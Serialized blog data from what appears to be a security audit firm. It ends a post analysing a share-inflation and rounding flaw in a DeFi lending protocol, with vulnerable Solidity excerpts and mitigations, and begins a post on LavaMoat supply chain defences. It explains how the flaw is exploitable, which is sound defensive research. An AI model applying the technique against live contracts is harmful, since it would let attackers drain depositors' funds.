ResultsInBadDebt();\n}\n",[47428],{"type":24,"tag":154,"props":47429,"children":47430},{"__ignoreMap":7},[47431,47462,47470,47478,47485,47507,47520,47527,47548,47578,47590,47602,47609,47633,47650],{"type":24,"tag":158,"props":47432,"children":47433},{"class":160,"line":161},[47434,47439,47444,47448,47453,47458],{"type":24,"tag":158,"props":47435,"children":47436},{"style":171},[47437],{"type":29,"value":47438},"uint256",{"type":24,"tag":158,"props":47440,"children":47441},{"style":188},[47442],{"type":29,"value":47443}," withdrawValue ",{"type":24,"tag":158,"props":47445,"children":47446},{"style":222},[47447],{"type":29,"value":1285},{"type":24,"tag":158,"props":47449,"children":47450},{"style":188},[47451],{"type":29,"value":47452}," WISE_ORACLE.",{"type":24,"tag":158,"props":47454,"children":47455},{"style":496},[47456],{"type":29,"value":47457},"getTokensInETH",{"type":24,"tag":158,"props":47459,"children":47460},{"style":188},[47461],{"type":29,"value":2156},{"type":24,"tag":158,"props":47463,"children":47464},{"class":160,"line":213},[47465],{"type":24,"tag":158,"props":47466,"children":47467},{"style":188},[47468],{"type":29,"value":47469}," _poolToken,\n",{"type":24,"tag":158,"props":47471,"children":47472},{"class":160,"line":238},[47473],{"type":24,"tag":158,"props":47474,"children":47475},{"style":188},[47476],{"type":29,"value":47477}," _amount\n",{"type":24,"tag":158,"props":47479,"children":47480},{"class":160,"line":259},[47481],{"type":24,"tag":158,"props":47482,"children":47483},{"style":188},[47484],{"type":29,"value":2125},{"type":24,"tag":158,"props":47486,"children":47487},{"class":160,"line":280},[47488,47492,47497,47502],{"type":24,"tag":158,"props":47489,"children":47490},{"style":222},[47491],{"type":29,"value":18800},{"type":24,"tag":158,"props":47493,"children":47494},{"style":188},[47495],{"type":29,"value":47496}," WISE_LENDING.",{"type":24,"tag":158,"props":47498,"children":47499},{"style":496},[47500],{"type":29,"value":47501},"lendingPoolData",{"type":24,"tag":158,"props":47503,"children":47504},{"style":188},[47505],{"type":29,"value":47506},"(_poolToken).collateralFactor\n",{"type":24,"tag":158,"props":47508,"children":47509},{"class":160,"line":301},[47510,47515],{"type":24,"tag":158,"props":47511,"children":47512},{"style":222},[47513],{"type":29,"value":47514}," /",{"type":24,"tag":158,"props":47516,"children":47517},{"style":188},[47518],{"type":29,"value":47519}," PRECISION_FACTOR_E18;\n",{"type":24,"tag":158,"props":47521,"children":47522},{"class":160,"line":626},[47523],{"type":24,"tag":158,"props":47524,"children":47525},{"emptyLinePlaceholder":16},[47526],{"type":29,"value":481},{"type":24,"tag":158,"props":47528,"children":47529},{"class":160,"line":668},[47530,47534,47539,47543],{"type":24,"tag":158,"props":47531,"children":47532},{"style":171},[47533],{"type":29,"value":30945},{"type":24,"tag":158,"props":47535,"children":47536},{"style":188},[47537],{"type":29,"value":47538}," state ",{"type":24,"tag":158,"props":47540,"children":47541},{"style":222},[47542],{"type":29,"value":1285},{"type":24,"tag":158,"props":47544,"children":47545},{"style":188},[47546],{"type":29,"value":47547}," borrowPercentageCap\n",{"type":24,"tag":158,"props":47549,"children":47550},{"class":160,"line":676},[47551,47555,47559,47564,47569,47573],{"type":24,"tag":158,"props":47552,"children":47553},{"style":222},[47554],{"type":29,"value":18800},{"type":24,"tag":158,"props":47556,"children":47557},{"style":188},[47558],{"type":29,"value":2262},{"type":24,"tag":158,"props":47560,"children":47561},{"style":496},[47562],{"type":29,"value":47563},"overallETHCollateralsWeighted",{"type":24,"tag":158,"props":47565,"children":47566},{"style":188},[47567],{"type":29,"value":47568},"(_nftId) ",{"type":24,"tag":158,"props":47570,"children":47571},{"style":222},[47572],{"type":29,"value":5987},{"type":24,"tag":158,"props":47574,"children":47575},{"style":188},[47576],{"type":29,"value":47577}," withdrawValue)\n",{"type":24,"tag":158,"props":47579,"children":47580},{"class":160,"line":684},[47581,47585],{"type":24,"tag":158,"props":47582,"children":47583},{"style":222},[47584],{"type":29,"value":47514},{"type":24,"tag":158,"props":47586,"children":47587},{"style":188},[47588],{"type":29,"value":47589}," PRECISION_FACTOR_E18\n",{"type":24,"tag":158,"props":47591,"children":47592},{"class":160,"line":700},[47593,47597],{"type":24,"tag":158,"props":47594,"children":47595},{"style":222},[47596],{"type":29,"value":33707},{"type":24,"tag":158,"props":47598,"children":47599},{"style":188},[47600],{"type":29,"value":47601}," borrowAmount;\n",{"type":24,"tag":158,"props":47603,"children":47604},{"class":160,"line":785},[47605],{"type":24,"tag":158,"props":47606,"children":47607},{"emptyLinePlaceholder":16},[47608],{"type":29,"value":481},{"type":24,"tag":158,"props":47610,"children":47611},{"class":160,"line":1447},[47612,47616,47621,47625,47629],{"type":24,"tag":158,"props":47613,"children":47614},{"style":1914},[47615],{"type":29,"value":16815},{"type":24,"tag":158,"props":47617,"children":47618},{"style":188},[47619],{"type":29,"value":47620}," (state ",{"type":24,"tag":158,"props":47622,"children":47623},{"style":222},[47624],{"type":29,"value":1034},{"type":24,"tag":158,"props":47626,"children":47627},{"style":165},[47628],{"type":29,"value":3354},{"type":24,"tag":158,"props":47630,"children":47631},{"style":188},[47632],{"type":29,"value":16038},{"type":24,"tag":158,"props":47634,"children":47635},{"class":160,"line":1509},[47636,47641,47646],{"type":24,"tag":158,"props":47637,"children":47638},{"style":1914},[47639],{"type":29,"value":47640}," revert",{"type":24,"tag":158,"props":47642,"children":47643},{"style":496},[47644],{"type":29,"value":47645}," ResultsInBadDebt",{"type":24,"tag":158,"props":47647,"children":47648},{"style":188},[47649],{"type":29,"value":5329},{"type":24,"tag":158,"props":47651,"children":47652},{"class":160,"line":1527},[47653],{"type":24,"tag":158,"props":47654,"children":47655},{"style":188},[47656],{"type":29,"value":307},{"type":24,"tag":25,"props":47658,"children":47659},{},[47660],{"type":29,"value":47661},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":24,"tag":25,"props":47663,"children":47664},{},[47665],{"type":29,"value":47666},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":24,"tag":25,"props":47668,"children":47669},{},[47670,47672,47678],{"type":29,"value":47671},"And indeed, ",{"type":24,"tag":101,"props":47673,"children":47676},{"href":47674,"rel":47675},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[105],[47677],{"type":29,"value":47382},{"type":29,"value":47679}," rounds up the share value.",{"type":24,"tag":147,"props":47681,"children":47683},{"className":6134,"code":47682,"language":6133,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[47684],{"type":24,"tag":154,"props":47685,"children":47686},{"__ignoreMap":7},[47687,47703,47720,47736,47749,47756,47764,47772,47792,47799,47820,47841,47863,47892,47913],{"type":24,"tag":158,"props":47688,"children":47689},{"class":160,"line":161},[47690,47694,47699],{"type":24,"tag":158,"props":47691,"children":47692},{"style":165},[47693],{"type":29,"value":32638},{"type":24,"tag":158,"props":47695,"children":47696},{"style":496},[47697],{"type":29,"value":47698}," _calculateShares",{"type":24,"tag":158,"props":47700,"children":47701},{"style":188},[47702],{"type":29,"value":2156},{"type":24,"tag":158,"props":47704,"children":47705},{"class":160,"line":213},[47706,47711,47716],{"type":24,"tag":158,"props":47707,"children":47708},{"style":171},[47709],{"type":29,"value":47710}," uint256",{"type":24,"tag":158,"props":47712,"children":47713},{"style":177},[47714],{"type":29,"value":47715}," _product",{"type":24,"tag":158,"props":47717,"children":47718},{"style":188},[47719],{"type":29,"value":235},{"type":24,"tag":158,"props":47721,"children":47722},{"class":160,"line":238},[47723,47727,47732],{"type":24,"tag":158,"props":47724,"children":47725},{"style":171},[47726],{"type":29,"value":47710},{"type":24,"tag":158,"props":47728,"children":47729},{"style":177},[47730],{"type":29,"value":47731}," _pseudo",{"type":24,"tag":158,"props":47733,"children":47734},{"style":188},[47735],{"type":29,"value":235},{"type":24,"tag":158,"props":47737,"children":47738},{"class":160,"line":259},[47739,47744],{"type":24,"tag":158,"props":47740,"children":47741},{"style":171},[47742],{"type":29,"value":47743}," bool",{"type":24,"tag":158,"props":47745,"children":47746},{"style":177},[47747],{"type":29,"value":47748}," _maxSharePrice\n",{"type":24,"tag":158,"props":47750,"children":47751},{"class":160,"line":280},[47752],{"type":24,"tag":158,"props":47753,"children":47754},{"style":188},[47755],{"type":29,"value":2125},{"type":24,"tag":158,"props":47757,"children":47758},{"class":160,"line":301},[47759],{"type":24,"tag":158,"props":47760,"children":47761},{"style":165},[47762],{"type":29,"value":47763}," private\n",{"type":24,"tag":158,"props":47765,"children":47766},{"class":160,"line":626},[47767],{"type":24,"tag":158,"props":47768,"children":47769},{"style":165},[47770],{"type":29,"value":47771}," pure\n",{"type":24,"tag":158,"props":47773,"children":47774},{"class":160,"line":668},[47775,47780,47784,47788],{"type":24,"tag":158,"props":47776,"children":47777},{"style":1914},[47778],{"type":29,"value":47779}," returns",{"type":24,"tag":158,"props":47781,"children":47782},{"style":188},[47783],{"type":29,"value":2262},{"type":24,"tag":158,"props":47785,"children":47786},{"style":171},[47787],{"type":29,"value":47438},{"type":24,"tag":158,"props":47789,"children":47790},{"style":188},[47791],{"type":29,"value":2125},{"type":24,"tag":158,"props":47793,"children":47794},{"class":160,"line":676},[47795],{"type":24,"tag":158,"props":47796,"children":47797},{"style":188},[47798],{"type":29,"value":1710},{"type":24,"tag":158,"props":47800,"children":47801},{"class":160,"line":684},[47802,47806,47811,47815],{"type":24,"tag":158,"props":47803,"children":47804},{"style":1914},[47805],{"type":29,"value":18227},{"type":24,"tag":158,"props":47807,"children":47808},{"style":188},[47809],{"type":29,"value":47810}," _maxSharePrice ",{"type":24,"tag":158,"props":47812,"children":47813},{"style":222},[47814],{"type":29,"value":1034},{"type":24,"tag":158,"props":47816,"children":47817},{"style":165},[47818],{"type":29,"value":47819}," true\n",{"type":24,"tag":158,"props":47821,"children":47822},{"class":160,"line":700},[47823,47828,47833,47837],{"type":24,"tag":158,"props":47824,"children":47825},{"style":222},[47826],{"type":29,"value":47827}," ?",{"type":24,"tag":158,"props":47829,"children":47830},{"style":188},[47831],{"type":29,"value":47832}," _product % _pseudo ",{"type":24,"tag":158,"props":47834,"children":47835},{"style":222},[47836],{"type":29,"value":1034},{"type":24,"tag":158,"props":47838,"children":47839},{"style":465},[47840],{"type":29,"value":25535},{"type":24,"tag":158,"props":47842,"children":47843},{"class":160,"line":785},[47844,47849,47854,47858],{"type":24,"tag":158,"props":47845,"children":47846},{"style":222},[47847],{"type":29,"value":47848}," ?",{"type":24,"tag":158,"props":47850,"children":47851},{"style":188},[47852],{"type":29,"value":47853}," _product ",{"type":24,"tag":158,"props":47855,"children":47856},{"style":222},[47857],{"type":29,"value":6238},{"type":24,"tag":158,"props":47859,"children":47860},{"style":188},[47861],{"type":29,"value":47862}," _pseudo\n",{"type":24,"tag":158,"props":47864,"children":47865},{"class":160,"line":1447},[47866,47871,47875,47879,47884,47888],{"type":24,"tag":158,"props":47867,"children":47868},{"style":222},[47869],{"type":29,"value":47870}," :",{"type":24,"tag":158,"props":47872,"children":47873},{"style":188},[47874],{"type":29,"value":47853},{"type":24,"tag":158,"props":47876,"children":47877},{"style":222},[47878],{"type":29,"value":6238},{"type":24,"tag":158,"props":47880,"children":47881},{"style":188},[47882],{"type":29,"value":47883}," _pseudo ",{"type":24,"tag":158,"props":47885,"children":47886},{"style":222},[47887],{"type":29,"value":728},{"type":24,"tag":158,"props":47889,"children":47890},{"style":465},[47891],{"type":29,"value":20685},{"type":24,"tag":158,"props":47893,"children":47894},{"class":160,"line":1509},[47895,47900,47904,47908],{"type":24,"tag":158,"props":47896,"children":47897},{"style":222},[47898],{"type":29,"value":47899}," :",{"type":24,"tag":158,"props":47901,"children":47902},{"style":188},[47903],{"type":29,"value":47853},{"type":24,"tag":158,"props":47905,"children":47906},{"style":222},[47907],{"type":29,"value":6238},{"type":24,"tag":158,"props":47909,"children":47910},{"style":188},[47911],{"type":29,"value":47912}," _pseudo;\n",{"type":24,"tag":158,"props":47914,"children":47915},{"class":160,"line":1527},[47916],{"type":24,"tag":158,"props":47917,"children":47918},{"style":188},[47919],{"type":29,"value":307},{"type":24,"tag":25,"props":47921,"children":47922},{},[47923,47928],{"type":24,"tag":32,"props":47924,"children":47925},{},[47926],{"type":29,"value":47927},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":47929},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":24,"tag":25,"props":47931,"children":47932},{},[47933],{"type":29,"value":47934},"This is a really tricky invariant to reason about!",{"type":24,"tag":59,"props":47936,"children":47938},{"id":47937},"root-cause",[47939],{"type":29,"value":47940},"Root Cause",{"type":24,"tag":25,"props":47942,"children":47943},{},[47944],{"type":29,"value":47945},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":24,"tag":25,"props":47947,"children":47948},{},[47949],{"type":29,"value":47950},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":24,"tag":147,"props":47952,"children":47954},{"className":6134,"code":47953,"language":6133,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[47955],{"type":24,"tag":154,"props":47956,"children":47957},{"__ignoreMap":7},[47958],{"type":24,"tag":158,"props":47959,"children":47960},{"class":160,"line":161},[47961,47966,47970,47975,47979],{"type":24,"tag":158,"props":47962,"children":47963},{"style":188},[47964],{"type":29,"value":47965},"totalDepositShares ",{"type":24,"tag":158,"props":47967,"children":47968},{"style":222},[47969],{"type":29,"value":577},{"type":24,"tag":158,"props":47971,"children":47972},{"style":188},[47973],{"type":29,"value":47974}," _amount ",{"type":24,"tag":158,"props":47976,"children":47977},{"style":222},[47978],{"type":29,"value":6238},{"type":24,"tag":158,"props":47980,"children":47981},{"style":188},[47982],{"type":29,"value":47983}," pseudoTotalPool\n",{"type":24,"tag":25,"props":47985,"children":47986},{},[47987],{"type":29,"value":47988},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":24,"tag":25,"props":47990,"children":47991},{},[47992,47994,47998],{"type":29,"value":47993},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":24,"tag":32,"props":47995,"children":47996},{},[47997],{"type":29,"value":21160},{"type":29,"value":47999}," integer division?",{"type":24,"tag":59,"props":48001,"children":48003},{"id":48002},"mitigations",[48004],{"type":29,"value":48005},"Mitigations",{"type":24,"tag":25,"props":48007,"children":48008},{},[48009],{"type":29,"value":48010},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":24,"tag":25,"props":48012,"children":48013},{},[48014,48016,48023],{"type":29,"value":48015},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":24,"tag":101,"props":48017,"children":48020},{"href":48018,"rel":48019},"https://twitter.com/danielvf/status/1746306320553152615",[105],[48021],{"type":29,"value":48022},"@danielvf notes",{"type":29,"value":48024},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":24,"tag":147,"props":48026,"children":48028},{"className":6134,"code":48027,"language":6133,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[48029],{"type":24,"tag":154,"props":48030,"children":48031},{"__ignoreMap":7},[48032,48056,48103,48137],{"type":24,"tag":158,"props":48033,"children":48034},{"class":160,"line":161},[48035,48039,48044,48048,48052],{"type":24,"tag":158,"props":48036,"children":48037},{"style":1914},[48038],{"type":29,"value":16815},{"type":24,"tag":158,"props":48040,"children":48041},{"style":188},[48042],{"type":29,"value":48043}," (_totalSupply ",{"type":24,"tag":158,"props":48045,"children":48046},{"style":222},[48047],{"type":29,"value":1034},{"type":24,"tag":158,"props":48049,"children":48050},{"style":465},[48051],{"type":29,"value":2025},{"type":24,"tag":158,"props":48053,"children":48054},{"style":188},[48055],{"type":29,"value":16038},{"type":24,"tag":158,"props":48057,"children":48058},{"class":160,"line":213},[48059,48064,48068,48073,48078,48083,48088,48093,48098],{"type":24,"tag":158,"props":48060,"children":48061},{"style":188},[48062],{"type":29,"value":48063}," liquidity ",{"type":24,"tag":158,"props":48065,"children":48066},{"style":222},[48067],{"type":29,"value":1285},{"type":24,"tag":158,"props":48069,"children":48070},{"style":188},[48071],{"type":29,"value":48072}," Math.",{"type":24,"tag":158,"props":48074,"children":48075},{"style":496},[48076],{"type":29,"value":48077},"sqrt",{"type":24,"tag":158,"props":48079,"children":48080},{"style":188},[48081],{"type":29,"value":48082},"(amount0.",{"type":24,"tag":158,"props":48084,"children":48085},{"style":496},[48086],{"type":29,"value":48087},"mul",{"type":24,"tag":158,"props":48089,"children":48090},{"style":188},[48091],{"type":29,"value":48092},"(amount1)).",{"type":24,"tag":158,"props":48094,"children":48095},{"style":496},[48096],{"type":29,"value":48097},"sub",{"type":24,"tag":158,"props":48099,"children":48100},{"style":188},[48101],{"type":29,"value":48102},"(MINIMUM_LIQUIDITY);\n",{"type":24,"tag":158,"props":48104,"children":48105},{"class":160,"line":238},[48106,48111,48115,48119,48123,48127,48132],{"type":24,"tag":158,"props":48107,"children":48108},{"style":496},[48109],{"type":29,"value":48110}," _mint",{"type":24,"tag":158,"props":48112,"children":48113},{"style":188},[48114],{"type":29,"value":504},{"type":24,"tag":158,"props":48116,"children":48117},{"style":171},[48118],{"type":29,"value":33902},{"type":24,"tag":158,"props":48120,"children":48121},{"style":188},[48122],{"type":29,"value":504},{"type":24,"tag":158,"props":48124,"children":48125},{"style":465},[48126],{"type":29,"value":5682},{"type":24,"tag":158,"props":48128,"children":48129},{"style":188},[48130],{"type":29,"value":48131},"), MINIMUM_LIQUIDITY); ",{"type":24,"tag":158,"props":48133,"children":48134},{"style":2588},[48135],{"type":29,"value":48136},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":24,"tag":158,"props":48138,"children":48139},{"class":160,"line":259},[48140,48145,48149],{"type":24,"tag":158,"props":48141,"children":48142},{"style":188},[48143],{"type":29,"value":48144},"} ",{"type":24,"tag":158,"props":48146,"children":48147},{"style":1914},[48148],{"type":29,"value":4978},{"type":24,"tag":158,"props":48150,"children":48151},{"style":188},[48152],{"type":29,"value":210},{"type":24,"tag":25,"props":48154,"children":48155},{},[48156,48158,48165],{"type":29,"value":48157},"Alternatively, ",{"type":24,"tag":101,"props":48159,"children":48162},{"href":48160,"rel":48161},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[105],[48163],{"type":29,"value":48164},"storing the conversion rate separately",{"type":29,"value":48166}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":24,"tag":147,"props":48168,"children":48170},{"className":6134,"code":48169,"language":6133,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[48171],{"type":24,"tag":154,"props":48172,"children":48173},{"__ignoreMap":7},[48174,48209],{"type":24,"tag":158,"props":48175,"children":48176},{"class":160,"line":161},[48177,48182,48186,48191,48195,48200,48204],{"type":24,"tag":158,"props":48178,"children":48179},{"style":188},[48180],{"type":29,"value":48181},"accrualIndices.borrowed ",{"type":24,"tag":158,"props":48183,"children":48184},{"style":222},[48185],{"type":29,"value":1285},{"type":24,"tag":158,"props":48187,"children":48188},{"style":188},[48189],{"type":29,"value":48190}," accrualIndices.borrowed ",{"type":24,"tag":158,"props":48192,"children":48193},{"style":222},[48194],{"type":29,"value":577},{"type":24,"tag":158,"props":48196,"children":48197},{"style":188},[48198],{"type":29,"value":48199}," borrowInterestFactor ",{"type":24,"tag":158,"props":48201,"children":48202},{"style":222},[48203],{"type":29,"value":6238},{"type":24,"tag":158,"props":48205,"children":48206},{"style":188},[48207],{"type":29,"value":48208}," precision;\n",{"type":24,"tag":158,"props":48210,"children":48211},{"class":160,"line":213},[48212,48217,48221,48226,48230,48235,48239],{"type":24,"tag":158,"props":48213,"children":48214},{"style":188},[48215],{"type":29,"value":48216},"accrualIndices.deposited ",{"type":24,"tag":158,"props":48218,"children":48219},{"style":222},[48220],{"type":29,"value":1285},{"type":24,"tag":158,"props":48222,"children":48223},{"style":188},[48224],{"type":29,"value":48225}," accrualIndices.deposited ",{"type":24,"tag":158,"props":48227,"children":48228},{"style":222},[48229],{"type":29,"value":577},{"type":24,"tag":158,"props":48231,"children":48232},{"style":188},[48233],{"type":29,"value":48234}," depositInterestFactor ",{"type":24,"tag":158,"props":48236,"children":48237},{"style":222},[48238],{"type":29,"value":6238},{"type":24,"tag":158,"props":48240,"children":48241},{"style":188},[48242],{"type":29,"value":48208},{"type":24,"tag":25,"props":48244,"children":48245},{},[48246],{"type":29,"value":48247},"We also want to note some general takeaways:",{"type":24,"tag":25,"props":48249,"children":48250},{},[48251,48253,48258],{"type":29,"value":48252},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":24,"tag":32,"props":48254,"children":48255},{},[48256],{"type":29,"value":48257},"apply the state changes and check the invariant",{"type":29,"value":347},{"type":24,"tag":25,"props":48260,"children":48261},{},[48262],{"type":29,"value":48263},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":24,"tag":25,"props":48265,"children":48266},{},[48267],{"type":29,"value":48268},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":24,"tag":59,"props":48270,"children":48271},{"id":30191},[48272],{"type":29,"value":20189},{"type":24,"tag":25,"props":48274,"children":48275},{},[48276],{"type":29,"value":48277},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":24,"tag":25,"props":48279,"children":48280},{},[48281],{"type":29,"value":48282},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":24,"tag":4517,"props":48284,"children":48285},{},[48286],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":48288},[48289,48290,48291,48295,48296,48297],{"id":30274,"depth":213,"text":30277},{"id":47211,"depth":213,"text":47214},{"id":47330,"depth":213,"text":47333,"children":48292},[48293,48294],{"id":47341,"depth":238,"text":47344},{"id":47379,"depth":238,"text":47382},{"id":47937,"depth":213,"text":47940},{"id":48002,"depth":213,"text":48005},{"id":30191,"depth":213,"text":20189},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":48302,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48303,"description":48304,"author":48305,"image":48306,"date":48308,"isFeatured":16,"onBlogPage":16,"body":48309,"_type":4536,"_id":51789,"_source":4538,"_file":51790,"_stem":51791,"_extension":4541},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[32462,32461],{"src":48307},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":21,"children":48310,"toc":51768},[48311,48315,48336,48341,48345,48350,48389,48395,48410,48428,48433,48438,48443,48456,48763,48789,48802,48807,48812,48826,48831,48844,48858,49089,49110,49145,49151,49156,49161,49375,49396,49402,49414,49504,49526,49562,49570,49588,49845,49871,49877,49891,50089,50108,50515,50528,50534,50553,50646,50651,50657,50670,50683,50769,50775,50787,50872,50884,50897,50903,50908,50922,51249,51254,51259,51265,51291,51346,51366,51419,51425,51430,51449,51460,51654,51660,51683,51689,51694,51707,51712,51717,51721,51726,51734,51764],{"type":24,"tag":59,"props":48312,"children":48313},{"id":20198},[48314],{"type":29,"value":20201},{"type":24,"tag":25,"props":48316,"children":48317},{},[48318,48325,48327,48334],{"type":24,"tag":101,"props":48319,"children":48322},{"href":48320,"rel":48321},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[105],[48323],{"type":29,"value":48324},"Supply chain",{"type":29,"value":48326}," attacks are becoming ",{"type":24,"tag":101,"props":48328,"children":48331},{"href":48329,"rel":48330},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[105],[48332],{"type":29,"value":48333},"increasingly popular in Web3",{"type":29,"value":48335},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":24,"tag":25,"props":48337,"children":48338},{},[48339],{"type":29,"value":48340},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":24,"tag":395,"props":48342,"children":48343},{"id":30274},[48344],{"type":29,"value":30277},{"type":24,"tag":25,"props":48346,"children":48347},{},[48348],{"type":29,"value":48349},"It is important to note that there are three different versions of LavaMoat:",{"type":24,"tag":1786,"props":48351,"children":48352},{},[48353,48365,48377],{"type":24,"tag":1790,"props":48354,"children":48355},{},[48356,48363],{"type":24,"tag":101,"props":48357,"children":48360},{"href":48358,"rel":48359},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[105],[48361],{"type":29,"value":48362},"Lavamoat Browserify",{"type":29,"value":48364}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":24,"tag":1790,"props":48366,"children":48367},{},[48368,48375],{"type":24,"tag":101,"props":48369,"children":48372},{"href":48370,"rel":48371},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[105],[48373],{"type":29,"value":48374},"NodeJS Lavamoat",{"type":29,"value":48376}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":24,"tag":1790,"props":48378,"children":48379},{},[48380,48387],{"type":24,"tag":101,"props":48381,"children":48384},{"href":48382,"rel":48383},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[105],[48385],{"type":29,"value":48386},"Lavamoat allow-scripts",{"type":29,"value":48388}," are used to prevent malicious code execution on lifecycle scripts.",{"type":24,"tag":395,"props":48390,"children":48392},{"id":48391},"lavamoats-security-features",[48393],{"type":29,"value":48394},"Lavamoat's Security Features",{"type":24,"tag":25,"props":48396,"children":48397},{},[48398,48400,48408],{"type":29,"value":48399},"The three most important features of Lavamoat",{"type":24,"tag":16709,"props":48401,"children":48402},{},[48403],{"type":24,"tag":101,"props":48404,"children":48406},{"href":30883,"ariaDescribedBy":48405,"dataFootnoteRef":7,"id":30885},[16716],[48407],{"type":29,"value":5672},{"type":29,"value":48409}," are:",{"type":24,"tag":17924,"props":48411,"children":48412},{},[48413,48418,48423],{"type":24,"tag":1790,"props":48414,"children":48415},{},[48416],{"type":29,"value":48417},"Policy Files",{"type":24,"tag":1790,"props":48419,"children":48420},{},[48421],{"type":29,"value":48422},"NPM Anti Hijacking",{"type":24,"tag":1790,"props":48424,"children":48425},{},[48426],{"type":29,"value":48427},"Scuttling",{"type":24,"tag":25,"props":48429,"children":48430},{},[48431],{"type":29,"value":48432},"Let's go over them one by one.",{"type":24,"tag":20134,"props":48434,"children":48436},{"id":48435},"policy-files",[48437],{"type":29,"value":48417},{"type":24,"tag":25,"props":48439,"children":48440},{},[48441],{"type":29,"value":48442},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":24,"tag":25,"props":48444,"children":48445},{},[48446,48448,48455],{"type":29,"value":48447},"For example, take the ",{"type":24,"tag":101,"props":48449,"children":48452},{"href":48450,"rel":48451},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[105],[48453],{"type":29,"value":48454},"Metamask Snap policy file",{"type":29,"value":225},{"type":24,"tag":147,"props":48457,"children":48459},{"className":32624,"code":48458,"language":32626,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[48460],{"type":24,"tag":154,"props":48461,"children":48462},{"__ignoreMap":7},[48463,48475,48490,48510,48529,48549,48569,48589,48609,48629,48650,48670,48689,48705,48712,48727,48747],{"type":24,"tag":158,"props":48464,"children":48465},{"class":160,"line":161},[48466,48471],{"type":24,"tag":158,"props":48467,"children":48468},{"style":1108},[48469],{"type":29,"value":48470}," 